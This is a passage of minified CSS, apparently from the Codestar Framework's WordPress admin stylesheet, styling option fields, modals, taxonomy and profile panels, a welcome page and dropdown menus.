.ui-spinner-up{border-left:0;border-radius:0}.csf-field-spinner .ui-spinner .ui-spinner-up:before{content:"\f0da"}.csf-field-spinner .ui-spinner .csf--unit{border-left:0;user-select:none}.csf-field-spinner .ui-spinner .ui-button-icon,.csf-field-spinner .ui-spinner .ui-button-icon-space,.csf-field-spinner .ui-spinner .ui-button-text{display:none}.csf-field-spinner .ui-spinner input{font-family:inherit;font-size:inherit;position:relative;z-index:1;width:50px;text-align:center;margin:0;padding:0 8px;border-radius:0}.csf-field-spinner .ui-spinner-down{order:1}.csf-field-spinner .ui-spinner-input{order:2}.csf-field-spinner .csf--unit{order:3}.csf-field-spinner .ui-spinner-up{order:4}.csf-field-switcher .csf--switcher{float:left;cursor:pointer;position:relative;width:80px;height:36px;padding:0;margin:0;overflow:hidden;border-radius:0;background-color:#8c8c8c;user-select:none;-webkit-user-select:none}.csf-field-switcher .csf--ball{position:absolute;top:4px;left:4px;width:30px;height:28px;background-color:#fff;border-radius:0;transition:all .1s;box-shadow:1px 1px 1px rgba(0,0,0,.15)}.csf-field-switcher .csf--off,.csf-field-switcher .csf--on{position:absolute;top:0;left:0;right:0;font-size:11px;line-height:36px;font-weight:500;font-style:normal;text-align:center;text-transform:uppercase;color:#fff;padding-right:28px;opacity:0;transition:all .1s}.csf-field-switcher .csf--off{padding-right:0;padding-left:28px;opacity:1}.csf-field-switcher .csf--active{background:var(--wp-admin-theme-color)}.csf-field-switcher .csf--active .csf--on{opacity:1}.csf-field-switcher .csf--active .csf--off{opacity:0}.csf-field-switcher .csf--active .csf--ball{left:100%;margin-left:-34px}.csf-field-switcher .csf--label{float:left;margin-top:4px;margin-left:8px;font-weight:400;color:#999}.csf-field-tabbed .csf-tabbed-content{border:1px solid #ccd0d4;background-color:#fff;box-shadow:0 1px 1px rgba(0,0,0,.04)}.csf-field-tabbed .csf-tabbed-content>.csf-field{padding:15px}.csf-field-tabbed .csf-tabbed-nav .csf--icon{padding-right:5px}.csf-field-tabbed .csf-tabbed-nav a{display:inline-block;padding:12px 15px;margin-top:1px;margin-right:5px;margin-bottom:-1px;position:relative;text-decoration:none;color:#444;font-weight:600;border:1px solid #ccd0d4;background-color:#f3f3f3;transition:all .2s}.csf-field-tabbed .csf-tabbed-nav a:hover{background-color:#f9f9f9}.csf-field-tabbed .csf-tabbed-nav a.csf-tabbed-active{background-color:#fff;border-bottom-color:#fff}.csf-field-tabbed .csf-tabbed-nav a:focus{outline:0;box-shadow:none}.csf-field-text input{width:50%;max-width:100%;margin:0;border-radius:0}.csf-field-export textarea,.csf-field-import textarea,.csf-field-textarea textarea{width:100%;max-width:100%;min-height:125px}.csf-field-textarea .csf-shortcode-button{margin-bottom:10px;margin-right:5px}.csf-field-typography select,.csf-field-typography textarea{margin:0;min-width:100%;max-width:100%}.csf-field-typography .csf--title{color:#777;margin:0 0 2px 0;font-size:12px}.csf-field-typography .csf--title small{vertical-align:top}.csf-field-typography .csf--blocks{display:flex;flex-wrap:wrap}.csf-field-typography .csf--block{flex:1;max-width:100%;padding-right:6px;padding-bottom:6px}.csf-field-typography .csf--input{margin:0;min-width:100%}.csf-field-typography .csf--input-wrap{position:relative}.csf-field-typography .csf--unit{position:absolute;z-index:1;right:4px;top:4px;bottom:4px;padding:2px 6px;color:#666;font-size:11px;line-height:1;border-radius:0;background:#eee;user-select:none;display:flex;justify-content:center;flex-direction:column}.csf-field-typography .csf--preview{font-size:16px;line-height:20px;padding:20px;color:#222;border:1px solid #eee;background-color:#fff;border-radius:0;user-select:none;-webkit-user-select:none;transition:background-color .2s,border-color .2s}.csf-field-typography .csf--block-preview{cursor:pointer;position:relative;overflow:hidden;margin-top:10px;max-width:100%}.csf-field-typography .csf--black-background{border-color:#000;background-color:#000}.csf-field-typography .csf--toggle{position:absolute;top:5px;right:10px;color:#999}.csf-field-typography .csf--block-extra-styles{margin-top:5px}.csf-field-upload input{width:100%;margin:0;border-radius:0}.csf-field-upload .csf--wrap{display:flex;align-items:flex-start}.csf-field-upload .button{margin-left:5px;border-radius:0}.csf-field-upload .csf--preview{position:relative}.csf-field-wp_editor .csf-wp-editor{float:left;width:100%}.csf-field-wp_editor .mce-toolbar-grp{border:none}.csf-field-wp_editor .mce-btn.mce-active button,.csf-field-wp_editor .mce-btn.mce-active i,.csf-field-wp_editor .mce-btn.mce-active:hover button,.csf-field-wp_editor .mce-btn.mce-active:hover i{color:#23282d}.csf-field-wp_editor .wp-media-buttons{position:relative;z-index:2}.csf-field-wp_editor .wp-editor-tabs{position:relative;z-index:1}.csf-field-wp_editor .csf-no-tinymce{border:1px solid #e5e5e5}.csf-field-wp_editor .csf-no-quicktags .wp-media-buttons{float:none;display:block}.csf-field-wp_editor .csf-no-quicktags .mce-tinymce{box-shadow:none;border:1px solid #e5e5e5}.csf-field-wp_editor textarea{width:100%;max-width:100%;margin:0;box-shadow:none}.csf-field-heading{font-size:1.5em;font-weight:700;color:#23282d;background-color:#f5f5f5}.csf-field-subheading{font-size:14px;font-weight:700;padding-top:17px;padding-bottom:17px;color:#23282d;background-color:#f7f7f7}.csf-field-submessage{padding:0!important;border:0!important}.csf-field-submessage+.csf-field{border-top:0!important}.csf-submessage{font-size:12px;padding:17px 30px;border-top:1px solid transparent;border-bottom:1px solid transparent}.csf-submessage-success{color:#3c763d;border-color:#d6e9c6;background-color:#dff0d8}.csf-submessage-info{color:#31708f;border-color:#bce8f1;background-color:#d9edf7}.csf-submessage-warning{color:#8a6d3b;border-color:#faebcc;background-color:#fcf8e3}.csf-submessage-danger{color:#a94442;border-color:#ebccd1;background-color:#f2dede}.csf-submessage-normal{color:#23282d;border-color:#eee;background-color:#f7f7f7}.csf-field-notice{background-color:#f7f7f7}.csf-notice{padding:12px;background-color:#fff;border-left-style:solid;border-left-width:4px;box-shadow:0 1px 1px rgba(0,0,0,.1)}.csf-notice-success{border-color:#46b450}.csf-notice-info{border-color:#339fd4}.csf-notice-warning{border-color:#ffbc00}.csf-notice-danger{border-color:#dc3232}.csf-notice-normal{border-color:#222}.csf-field-number input{width:100%;margin:0;border-radius:0}.csf-field-number .csf--wrap{position:relative;float:left;width:100px}.csf-field-number .csf--unit{position:absolute;z-index:1;right:4px;top:4px;bottom:4px;padding:2px 6px;color:#666;font-size:11px;line-height:1;border-radius:0;background:#eee;user-select:none;display:flex;justify-content:center;flex-direction:column}.csf-field-link .csf--result{display:inline-block;font-size:12px;line-height:16px;padding:7px 10px;margin-bottom:7px;color:#777;border:1px solid #e5e5e5;background-color:#f5f5f5;border-radius:0;world-break:break-word}.csf-field-link .csf--wrap{position:relative;float:left;width:100px}.csf-field-link .csf--unit{position:absolute;z-index:1;right:4px;top:4px;bottom:4px;padding:2px 6px;color:#666;font-size:11px;line-height:1;border-radius:0;background:#eee;user-select:none;display:flex;justify-content:center;flex-direction:column}.csf-help{cursor:help;position:absolute;top:0;right:0;padding:5px;font-size:13px;color:#aaa}.csf-help .csf-help-text{display:none}.csf--preview{max-width:100%}.csf-image-preview{display:inline-flex;align-items:center;justify-content:center;flex-direction:column;position:relative;padding:6px;max-width:120px;max-height:120px;min-width:40px;min-height:40px;margin-bottom:10px;text-align:center;border-radius:0;border:1px solid #ccc;background-color:#f9f9f9;box-shadow:0 1px 0 rgba(0,0,0,.08)}.csf-image-preview i{cursor:pointer;position:absolute;z-index:1;right:4px;top:4px;font-size:14px;width:22px;height:22px;line-height:22px;text-align:center;text-decoration:none;color:#fff;background-color:#d33;opacity:.75;border-radius:0;transition:all .2s}.csf-image-preview i:hover{opacity:1}.csf-image-preview i:focus{box-shadow:none}.csf-image-preview span{position:relative;overflow:hidden;display:flex;height:100%;width:100%}.csf-image-preview img{max-width:100%;height:auto;object-fit:contain}.csf-field-custom .csf-field{padding:0}.csf-field .chosen-container-single .chosen-single{height:36px;line-height:34px;min-width:220px}.csf-field .chosen-container-single .chosen-single abbr{top:0;right:20px;font-family:"Font Awesome 5 Pro","Font Awesome 5 Free",FontAwesome;font-weight:900;font-size:12px;height:100%;width:18px;color:#aaa;text-align:center;background:0 0}.csf-field .chosen-container-single .chosen-single abbr:before{content:"\f00d"}.csf-field .chosen-container-single .chosen-single abbr:hover{color:#555}.csf-field .chosen-container-multi .chosen-choices li.search-choice .search-choice-close{font-family:"Font Awesome 5 Pro","Font Awesome 5 Free",FontAwesome;font-weight:900;font-size:12px;height:100%;width:18px;color:#aaa;text-align:center;background:0 0}.csf-field .chosen-container-multi .chosen-choices li.search-choice .search-choice-close:before{content:"\f00d";display:inline-block;padding-top:3px}.csf-field .chosen-container-multi .chosen-choices li.search-choice .search-choice-close:hover{color:#555}.csf-field .chosen-container-single .chosen-single div b{font-family:"Font Awesome 5 Pro","Font Awesome 5 Free",FontAwesome;font-weight:900;font-size:14px;color:#aaa;background:0 0}.csf-field .chosen-container-single .chosen-single div b:before{content:"\f107"}.csf-field .chosen-container-single .chosen-single div b:hover{color:#555}.csf-field .chosen-container-multi .chosen-choices li.search-choice-placeholder{border:1px dashed #aaa;margin:3px 5px 3px 0}.csf-field .chosen-container-multi .ui-sortable li.search-choice span{cursor:move}.csf-field .chosen-container-active.chosen-with-drop .chosen-single div b:before{content:"\f106"}.csf-field .chosen-container-single .chosen-single-with-deselect span{margin-right:40px}.csf-field .chosen-container-single .chosen-search input[type=text]{background:0 0}.csf-field .chosen-container-single .chosen-search:before{font-family:"Font Awesome 5 Pro","Font Awesome 5 Free",FontAwesome;font-weight:900;font-size:11px;content:"\f002";position:absolute;right:12px;top:10px;color:#aaa}.csf-field .wp-picker-container{display:inline-block}.csf-field .wp-picker-container .wp-color-result.button{margin-bottom:0}.csf-field .csf--transparent-wrap{display:none;position:relative;top:-1px;width:235px;padding:9px 10px;border:1px solid #dfdfdf;border-top:none;background-color:#fff}.csf-field .wp-picker-active .csf--transparent-wrap{display:block}.csf-field .csf--transparent-slider{position:absolute;width:190px;margin-left:2px;height:18px}.csf-field .csf--transparent-slider .ui-slider-handle{position:absolute;top:-3px;bottom:-3px;z-index:5;border-color:#aaa;border-style:solid;border-width:4px 3px;width:10px;height:16px;margin:0 -5px;background:0 0;cursor:ew-resize;opacity:.9;border-radius:0;box-shadow:0 1px 2px rgba(0,0,0,.2)}.csf-field .csf--transparent-slider .ui-slider-handle:before{content:" ";position:absolute;left:-2px;right:-2px;top:-3px;bottom:-3px;border:2px solid #fff;border-radius:0}.csf-field .csf--transparent-offset{height:18px;width:200px;background:url(images/checkerboard.png) repeat-y center left scroll #fff;border-radius:0;box-shadow:inset 0 0 5px rgba(0,0,0,.4)}.csf-field .csf--transparent-text{position:absolute;top:12px;right:10px;width:30px;font-size:12px;line-height:12px;text-align:center;color:#999}.csf-field .csf--transparent-button{cursor:pointer;user-select:none;margin-top:10px;font-size:11px;text-align:center;border-radius:0;padding:3px 7px;box-shadow:0 1px 0 rgba(0,0,0,.1);letter-spacing:.2px;color:#777;border:1px solid #ccc;background-color:#f7f7f7;transition:background-color .2s,border-color .2s,color .2s}.csf-field .csf--transparent-active .wp-color-result{background-image:url(images/checkerboard.png);background-size:135px;background-position:center left;background-color:transparent!important}.csf-field .csf--transparent-active .csf--transparent-button{color:#fff;border-color:#3ea032;background-color:#4fb845}.csf-field .csf--transparent-active .fa:before{content:"\f205"}.csf-widgets>.csf-field{position:relative;top:-1px;margin-left:-15px;margin-right:-15px;padding:12px 15px}.csf-widgets>.csf-field .csf-title{float:none;width:100%;margin-bottom:5px}.csf-widgets>.csf-field .csf-fieldset{float:none;width:100%}.csf-widgets .csf-field-text input{width:100%;border-radius:0}.csf-widgets .csf-field-notice .csf-notice{padding:15px}.control-section .csf-widgets>.csf-field{margin-left:-10px;margin-right:-10px;padding:10px 12px}.wp-block .csf-widgets{font-size:13px}.wp-block .csf-widgets>.csf-field{margin-left:-10px;margin-right:-10px}.wp-block .csf-widgets>.csf-field .button-primary{color:#fff}.wp-block .csf-widgets>.csf-field>.csf-title>h4{font-size:13px}.control-section .csf-field{padding:0}.control-section .csf-field .csf-title{float:none;width:100%;margin-bottom:6px}.control-section .csf-field .csf-title h4{display:block;font-size:13px;line-height:1;font-weight:600;color:inherit}.control-section .csf-field .csf-fieldset{float:none;width:100%}.control-section .csf-help{top:-5px;right:-5px}.control-section .csf-field-select select{width:100%}.control-section .csf-field-heading{color:inherit;font-size:14px;line-height:1em;margin-right:-15px;margin-left:-15px;padding:15px}.control-section .csf-field-subheading{color:inherit;font-size:11px;margin-right:-15px;margin-left:-15px;padding:10px 15px}.control-section .csf-subtitle-text{margin-top:4px;font-size:12px}.control-section .csf-field-submessage .csf-submessage{margin-right:-15px;margin-left:-15px;padding:15px}.control-section .csf-fieldset .csf-field-heading,.control-section .csf-fieldset .csf-field-subheading,.control-section .csf-fieldset .csf-field-submessage .csf-submessage{margin-left:0;margin-right:0}.control-section .csf-field-date label,.control-section .csf-field-datetime label{display:block}.control-section .csf-field-date .csf--to,.control-section .csf-field-datetime .csf--to{margin-top:4px;margin-left:0}.control-section .csf-field-sorter ul li{padding:5px}.control-section .csf-field-sorter .csf-modules{float:none;width:100%}.control-section .csf-field-sorter .csf-modules:first-child{padding-right:0;padding-bottom:15px}.control-section .csf-field-background .csf--background-attributes{flex-direction:column}.control-section .csf-field-spacing input{width:90px}.control-section .csf-field-border .csf--input{flex:1 50%}.control-section .csf-field-border input,.control-section .csf-field-border select{width:100%}.control-section .csf-field-spinner input{width:50px}.control-section .csf-field-number .csf--wrap{width:100%}.control-section .csf-field-backup .csf-export-data{display:none}.control-section .csf-field-fieldset .csf-fieldset-content{border-color:#e5e5e5}.control-section .csf-accordion-content>.csf-field,.control-section .csf-cloneable-content>.csf-field,.control-section .csf-fieldset-content>.csf-field,.control-section .csf-repeater-content>.csf-field,.control-section .csf-sortable-content>.csf-field,.control-section .csf-tabbed-content>.csf-field{padding:10px}.control-section .csf-accordion-content>.csf-field .csf-title,.control-section .csf-cloneable-content>.csf-field .csf-title,.control-section .csf-fieldset-content>.csf-field .csf-title,.control-section .csf-repeater-content>.csf-field .csf-title,.control-section .csf-sortable-content>.csf-field .csf-title,.control-section .csf-tabbed-content>.csf-field .csf-title{margin-bottom:5px}.control-section .csf-accordion-content>.csf-field h4,.control-section .csf-cloneable-content>.csf-field h4,.control-section .csf-fieldset-content>.csf-field h4,.control-section .csf-repeater-content>.csf-field h4,.control-section .csf-sortable-content>.csf-field h4,.control-section .csf-tabbed-content>.csf-field h4{font-size:12px}.control-section .csf-depend-hidden.csf-depend-on{display:none!important}.control-section .csf-depend-visible.csf-depend-on{border-top:0!important}.csf-taxonomy{max-width:95%}.csf-taxonomy>.csf-field{border-top:none!important}.csf-taxonomy>.csf-field-heading{font-size:1.1em;padding:20px!important;border:1px solid #ddd}.csf-taxonomy>.csf-field-subheading{font-size:12px;padding:15px!important;border:1px solid #ddd}.csf-taxonomy>.csf-field-submessage .csf-submessage{padding:15px;border-left-width:1px;border-left-style:solid;border-right-width:1px;border-right-style:solid}.csf-taxonomy>.csf-field-notice{background-color:transparent}.csf-taxonomy .csf-section-title{display:block;padding:15px;background-color:#f9f9f9;border:1px solid #e5e5e5;box-shadow:0 1px 1px rgba(0,0,0,.04)}.csf-taxonomy-add-fields>.csf-field{padding:8px 0}.csf-taxonomy-add-fields>.csf-field>.csf-title{float:none;width:100%;padding:2px 2px 4px 0}.csf-taxonomy-add-fields>.csf-field>.csf-title h4{font-size:12px;font-weight:400}.csf-taxonomy-add-fields>.csf-field>.csf-fieldset{float:none;width:100%}.csf-taxonomy-add-fields>.csf-field>.csf-fieldset>.csf-help{right:-5px}.csf-taxonomy-add-fields+p.submit{margin-top:0}.csf-taxonomy-edit-fields>.csf-field{padding:20px 0}.csf-taxonomy-edit-fields>.csf-field>.csf-title{width:200px}.csf-taxonomy-edit-fields>.csf-field>.csf-title h4{font-size:14px;font-weight:600;line-height:1.3;display:inline-block;vertical-align:middle}.csf-taxonomy-edit-fields>.csf-field>.csf-fieldset{width:calc(100% - 220px)}.csf-taxonomy-edit-fields>.csf-field>.csf-fieldset>.csf-help{top:-5px;right:-5px}.csf-taxonomy-edit-fields>.csf-field-submessage{margin:20px 0}.csf-taxonomy-edit-fields>.csf-field-heading,.csf-taxonomy-edit-fields>.csf-field-subheading{margin:20px 0;border:1px solid #ddd}.csf-nav-menu-options{clear:both;float:left;width:100%}.csf-nav-menu-options>.csf-fields{margin:10px -10px;border-top:1px solid #eee;border-bottom:1px solid #eee}.csf-nav-menu-options>.csf-fields>.csf-field{padding:12px}.csf-nav-menu-options>.csf-fields>.csf-field .csf-title{float:none;width:100%;margin-bottom:5px}.csf-nav-menu-options>.csf-fields>.csf-field .csf-fieldset{float:none;width:100%}.csf-nav-menu-options .csf-field-text input{width:100%}.csf-nav-menu-options .csf-field-notice .csf-notice{padding:15px}.csf-nav-menu-title{padding:12px;background-color:#f5f5f5;border-top:1px solid #eee;border-bottom:1px solid #eee}.csf-nav-menu-title:first-child{border-top:0}.csf-nav-menu-title h4{margin:0;padding:0;color:#23282d}.csf-nav-menu-icon{margin-right:5px}.csf-profile-options>h2>.fa{padding-right:7px}.csf-profile-options>.csf-field{max-width:750px;padding:15px 0;border-top:none!important}.csf-profile-options>.csf-field>.csf-title{width:200px}.csf-profile-options>.csf-field>.csf-title h4{font-size:14px;font-weight:600;line-height:1.3;display:inline-block;vertical-align:middle}.csf-profile-options>.csf-field>.csf-fieldset{width:calc(100% - 220px)}.csf-profile-options>.csf-field>.csf-fieldset>.csf-help{top:-15px;right:-5px}.csf-profile-options>.csf-field-heading{font-size:1.1em}.csf-profile-options>.csf-field-subheading{font-size:12px}.csf-profile-options>.csf-field-heading,.csf-profile-options>.csf-field-subheading{margin:10px 0;padding:15px!important;border:1px solid #ddd}.csf-profile-options>.csf-field-submessage{margin:20px 0}.csf-profile-options>.csf-field-submessage .csf-submessage{padding:10px;border-left-width:1px;border-left-style:solid;border-right-width:1px;border-right-style:solid}.csf-profile-options>.csf-field-notice{background-color:transparent}.csf-modal{position:fixed;z-index:100101;top:0;left:0;width:100%;height:100%}.csf-modal.hidden{display:none}.csf-modal-icon{z-index:100102}.csf-modal-table{display:table;width:100%;height:100%}.csf-modal-table-cell{display:table-cell;vertical-align:middle;margin:100px 0}.csf-modal-inner{position:relative;z-index:10;width:760px;height:750px;margin:0 auto;background-color:#fff}.csf-modal-content{position:relative;overflow:hidden;overflow-y:auto;height:595px}.csf-modal-content .csf-shortcode-button{display:none}.csf-modal-content .csf-field{padding:15px 30px 15px 15px}.csf-modal-content a:active,.csf-modal-content a:focus{outline:0;box-shadow:none}.csf-modal-content h4{font-size:13px}.csf-modal-content h4 small{font-style:italic;font-weight:400;color:#aaa}.csf-modal-title{position:relative;background-color:#fcfcfc;border-bottom:1px solid #ddd;height:36px;font-size:16px;font-weight:600;line-height:36px;margin:0;padding:0 36px 0 16px}.csf-modal-header{width:100%;padding:14px 0;background-color:#f5f5f5;border-bottom:1px solid #ddd}.csf-modal-header select{display:block;width:250px;margin:0 auto;font-size:13px;line-height:1;height:30px;min-height:30px;background-color:#fff}.csf-modal-close{color:#666;padding:0;position:absolute;top:0;right:0;width:36px;height:36px;text-align:center;background:0 0;border:none;cursor:pointer}.csf-modal-close:before{font:normal 20px/36px dashicons;content:"\f158";vertical-align:top;width:36px;height:36px}.csf-modal-close:hover{opacity:.5}.csf-modal-insert-wrapper{text-align:center;width:100%;padding:15px 0;background-color:#f5f5f5;border-top:1px solid #ddd}.csf-modal-overlay{position:absolute;top:0;left:0;width:100%;height:100%;background-color:#000;opacity:.5}.csf--repeatable{padding:15px 15px 0 15px}.csf--repeat-button-block{text-align:center;padding-bottom:15px}.csf--repeat-shortcode{position:relative;margin-bottom:15px;border:1px dashed #ddd}.csf--repeat-shortcode:first-child .csf-repeat-remove{display:none}.csf--repeat-shortcode .csf-repeat-remove{position:absolute;right:10px;top:10px;z-index:10;cursor:pointer;display:inline-block;font-size:11px;width:18px;height:18px;line-height:18px;text-align:center;border-radius:0;color:#fff;background-color:#e14d43;opacity:.5}.csf--repeat-shortcode .csf-repeat-remove:hover{opacity:.5}.csf-shortcode-single .csf-modal-inner{height:750px}.csf-shortcode-single .csf-modal-content{height:652px}.elementor-editor-active .csf-shortcode-button{margin-left:5px}.elementor-editor-active .csf-modal .hidden{display:none!important}.csf-shortcode-block{text-align:center;padding:14px;font-size:13px;background-color:#f5f5f5;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif}.csf-shortcode-block .components-button{margin-bottom:10px}.csf-modal-icon .csf-icon-title{padding:15px 0;margin:4px;font-size:14px;font-weight:700;text-align:center;border:1px solid #eee;background-color:#f7f7f7}.csf-modal-icon .csf-modal-header{text-align:center}.csf-modal-icon .csf-icon-search{width:50%;height:40px;line-height:40px}.csf-modal-icon i{cursor:pointer;display:inline-block;margin:4px;width:35px;height:35px;line-height:35px;font-size:16px;color:#555;text-align:center;border:1px solid #ccc;background-color:#f7f7f7;border-radius:0;box-shadow:1px 1px 0 rgba(0,0,0,.05)}.csf-modal-icon i:hover{color:#fff;border-color:#222;background-color:#222}.csf-modal-icon .csf-modal-content{padding:10px;height:618px}.csf-modal-icon .csf-error-text{padding:10px}.csf-modal-loading{display:none;position:absolute;left:15px;top:15px}.csf-loading{position:relative;width:20px;height:20px;background:#ccc;border-radius:20px;box-shadow:0 2px 5px rgba(0,0,0,.07)}.csf-loading:after{position:absolute;top:50%;left:50%;width:4px;height:4px;content:"";margin-top:-2px;margin-left:-2px;background-color:#fff;animation-duration:.5s;animation-iteration-count:infinite;animation-timing-function:linear;animation-name:csfLoader;border-radius:0}@keyframes csfLoader{0%{transform:rotate(0) translateX(-6px) rotate(0)}100%{transform:rotate(360deg) translateX(-6px) rotate(-360deg)}}.csf-subtitle-text{margin-top:6px;font-weight:400;color:#999}.csf-desc-text{clear:both;float:left;width:100%;margin-top:6px;font-weight:400;color:#999}.csf-error-text{margin-top:6px;color:#d02c21}.csf-before-text{margin-bottom:6px}.csf-after-text{margin-top:6px}.csf-metabox-hide{display:none!important}.csf-metabox-show{display:block!important}.csf-depend-hidden.csf-depend-on{display:none}.csf-depend-visible.csf-depend-on{display:block;opacity:.75;filter:grayscale(1);user-select:none;border-top:1px solid #eee}.csf-depend-visible.csf-depend-on .clear:before{content:"";left:0;top:0;right:0;bottom:0;position:absolute;background-color:#eee;opacity:.25;z-index:10}.csf-warning-primary{color:#fff!important;border-color:#dc3545!important;background:#dc3545!important}.csf-warning-primary:focus,.csf-warning-primary:hover{border-color:#bd2130!important;background:#bd2130!important}.csf-warning-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #bd2130!important}.csf-warning-primary:active{border-color:#bd2130!important;background:#bd2130!important}.csf-form-result{display:none;float:left;padding:0 8px;margin-right:4px;font-size:11px;line-height:36px;user-select:none;border-radius:0}.csf-form-show{display:block}.csf-form-success{color:#fff;background-color:#46b450}.csf-form-warning{color:#8a6d3b;background-color:#faebcc}.csf-label-error{position:relative;top:-2px;display:inline-block;font-size:10px;line-height:10px;height:10px;width:10px;padding:1px;font-style:normal;text-align:center;color:#fff;vertical-align:middle;background-color:#e10000;border-radius:0}.csf-no-option{padding:30px}.csf-input-number{-moz-appearance:textfield}.csf-input-number::-webkit-inner-spin-button,.csf-input-number::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}.csf-fa5-shims .csf .fab,.csf-fa5-shims .csf .far,.csf-fa5-shims .csf .fas{font-family:FontAwesome;font-style:normal}.csf-welcome-wrap{position:relative;margin:25px 40px 0 20px;font-size:15px;max-width:1200px}.csf-welcome-wrap p{font-size:14px;line-height:1.5}.csf-welcome-wrap h1{margin:.2em 200px 0 0;padding:0;color:#32373c;line-height:1.2em;font-size:2.8em;font-weight:400}.csf-welcome-wrap .csf-logo{position:absolute;overflow:hidden;top:0;right:0;height:160px;width:140px;box-shadow:0 1px 4px rgba(0,0,0,.25),inset 0 0 0 4px rgba(0,0,0,.25)}.csf-welcome-wrap .csf-logo .csf--effects i{position:absolute;width:200px;height:100px;background-color:rgba(0,0,0,.15);transform:rotate(-45deg)}.csf-welcome-wrap .csf-logo .csf--effects i:first-child{bottom:-20px;right:-70px}.csf-welcome-wrap .csf-logo .csf--effects i:nth-child(2){bottom:-35px;right:-80px}.csf-welcome-wrap .csf-logo .csf--effects i:nth-child(3){bottom:-50px;right:-90px}.csf-welcome-wrap .csf-logo .csf--effects i:nth-child(4){bottom:-65px;right:-100px}.csf-welcome-wrap .csf-logo .csf--wp-logos{position:relative;padding-top:25px;text-align:center}.csf-welcome-wrap .csf-logo .csf--wp-logo{position:absolute;left:20px;width:20px;height:20px;background-repeat:no-repeat;background-position:center center;background-image:url(images/wp-logo.svg)}.csf-welcome-wrap .csf-logo .csf--wp-plugin-logo{display:inline-block;width:50px;height:50px;border:3px solid #fff;background-size:40px;background-repeat:no-repeat;background-position:center center;background-image:url(images/wp-plugin-logo.svg);border-radius:100%;vertical-align:middle}.csf-welcome-wrap .csf-logo .csf--text{position:absolute;left:0;right:0;top:90px;color:#fff;font-size:13px;line-height:1.2em;font-weight:600;text-align:center;text-transform:uppercase;text-shadow:1px 1px 0 rgba(0,0,0,.25)}.csf-welcome-wrap .csf-logo .csf--version{top:auto;left:auto;right:8px;bottom:4px;font-size:11px;text-transform:lowercase}.csf-welcome-wrap .csf-about-text{font-weight:400;line-height:1.6em;font-size:19px;margin:1em 200px 1em 0;color:#555d66}.csf-welcome-wrap .csf-demo-button{margin:1em 200px 2em 0}.csf-welcome-wrap .nav-tab-wrapper{margin-bottom:20px}.csf-welcome-wrap ul{list-style-type:disc;padding-left:15px}.csf-welcome-wrap .csf--col{float:left;padding-right:20px;box-sizing:border-box}.csf-welcome-wrap .csf--col-2{width:50%}.csf-welcome-wrap .csf--col-3{width:33.333%}.csf-welcome-wrap .csf--col-4{width:25%}.csf-welcome-wrap .csf--col-5{width:20%}.csf-welcome-wrap .csf--col-last{padding-right:0}.csf-welcome-wrap .csf--col-upgrade{padding:10px 0;text-align:center;border-top:1px solid #e5e5e5}.csf--table-compare tfoot td,.csf--table-compare thead td{text-align:center}.csf--table-compare td{font-size:14px;text-align:center;vertical-align:middle;padding:10px}.csf--table-compare td:first-child{text-align:left}.csf--table-compare tfoot td{padding:15px 0}.csf--table-compare .fa{font-size:18px}.csf--table-compare .fa-check-circle{color:#46b450}.csf--table-compare .fa-times-circle{color:#dc3232}.csf-welcome-cols{clear:both;margin:20px 0;background-color:#fff;padding:0 0;border-radius:0;border:1px solid #e5e5e5}.csf-welcome-cols .csf--col{width:33.333%;float:left;padding:20px;text-align:center;box-sizing:border-box;min-height:200px;border-right:1px solid #e5e5e5}.csf-welcome-cols .csf--block,.csf-welcome-cols .csf--left{float:left;width:20%;padding:0 30px;text-align:center;box-sizing:border-box}.csf-welcome-cols .csf--block{width:80%}.csf-welcome-cols .csf--col-first{border-bottom:1px solid #e5e5e5}.csf-welcome-cols .csf--last{border-right:none}.csf-welcome-cols .csf--space{height:20px}.csf-welcome-cols .csf--icon{display:inline-block;font-size:20px;width:30px;height:30px;line-height:30px;text-align:center;margin-bottom:10px;color:#fff;background-color:#555;border-radius:30px}.csf-welcome-cols .csf--active{background-color:#5cb85c}.csf-welcome-cols .csf--deactive{background-color:#e14d43}.csf-welcome-cols .csf--title{font-weight:700;display:block}.csf-welcome-cols p:last-child{margin-bottom:0}.csf-features-cols .csf--key-features{width:30%}.csf-features-cols .csf--available-fields{width:70%}.csf-code-block{margin:20px 0;padding:5px 20px;background-color:#fff;border-radius:0;box-shadow:0 1px 1px rgba(0,0,0,.15)}.csf-code-block pre{font-size:13px;color:#0073aa}.csf-code-block pre span{color:#999}.csf--table-fields td{font-size:14px}.csf--upgrade a{color:#5cb85c;font-weight:700}.csf--upgrade a:focus,.csf--upgrade a:hover{color:#4aa14a;outline:0;box-shadow:none}@media only screen and (max-width:782px){.csf-welcome-cols .csf--col{width:100%;min-height:auto;border-right:none;border-bottom:1px solid #e5e5e5}.csf-features-cols .csf--key-features{width:100%}.csf-features-cols .csf--available-fields{width:100%}}@media only screen and (max-width:1200px){.csf-metabox .csf-field .csf-title{float:none;width:100%;margin-bottom:10px}.csf-metabox .csf-field .csf-fieldset{float:none;width:100%}}@media only screen and (max-width:782px){.csf-header-inner{text-align:center}.csf-header-inner h1{width:100%;margin-bottom:10px}.csf-form-result{float:none;margin-right:0;margin-bottom:10px}.csf-header-left,.csf-header-right,.csf-search{width:100%}.csf-search{text-align:center;margin-bottom:15px}.csf-footer{text-align:center}.csf-buttons{float:none}.csf-copyright{float:none;margin-top:10px}.csf-expand-all,.csf-nav,.csf-nav-background,.csf-reset-section{display:none!important}.csf-nav-normal+.csf-content{margin-left:0}.csf-section,.csf-section-title{display:block!important}.csf-field .csf-title{float:none;width:100%;margin-bottom:10px}.csf-field .csf-fieldset{float:none;width:100%}.csf-field-color .button.wp-picker-clear{padding:0 8px;line-height:2.14285714;min-height:32px}.csf-profile-options>.csf-field>.csf-title,.csf-taxonomy-edit-fields>.csf-field>.csf-title{float:none;width:100%;margin-bottom:10px}.csf-profile-options>.csf-field>.csf-fieldset,.csf-taxonomy-edit-fields>.csf-field>.csf-fieldset{float:none;width:100%}.csf-nav-menu-options>.csf-fields{margin-left:-10px;margin-right:-10px}.csf-nav-menu-options>.csf-fields>.csf-field{padding:10px}}@media only screen and (max-width:782px){.csf-modal .csf-modal-inner{width:90%}}@media only screen and (max-height:750px){.csf-modal .csf-modal-inner{height:auto}.csf-modal .csf-modal-content{height:calc(100vh - 200px)}}.chosen-container{position:relative;display:inline-block;vertical-align:middle;font-size:13px;user-select:none}.chosen-container *{box-sizing:border-box}.chosen-container 